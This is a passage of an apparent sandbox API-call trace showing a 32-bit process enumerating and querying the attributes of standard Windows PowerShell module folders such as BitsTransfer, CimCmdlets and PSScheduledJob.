cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.372] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.372] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0177.373] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0177.373] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0177.373] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0177.373] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0177.373] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0177.373] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0177.373] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0177.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.374] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0177.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.374] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0177.374] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0177.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.374] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.374] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0177.375] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0177.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.375] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.375] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0177.375] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0177.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.375] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.375] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0177.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0177.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.376] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0177.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0177.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.376] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0177.377] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0177.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.377] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.377] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0177.377] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0177.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.377] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0177.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.377] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0177.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0177.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.378] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0177.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0177.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0177.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0177.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0177.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0177.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0177.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.427] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0177.427] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0177.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.427] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0177.427] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0177.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0177.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0177.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0177.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0177.429] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, 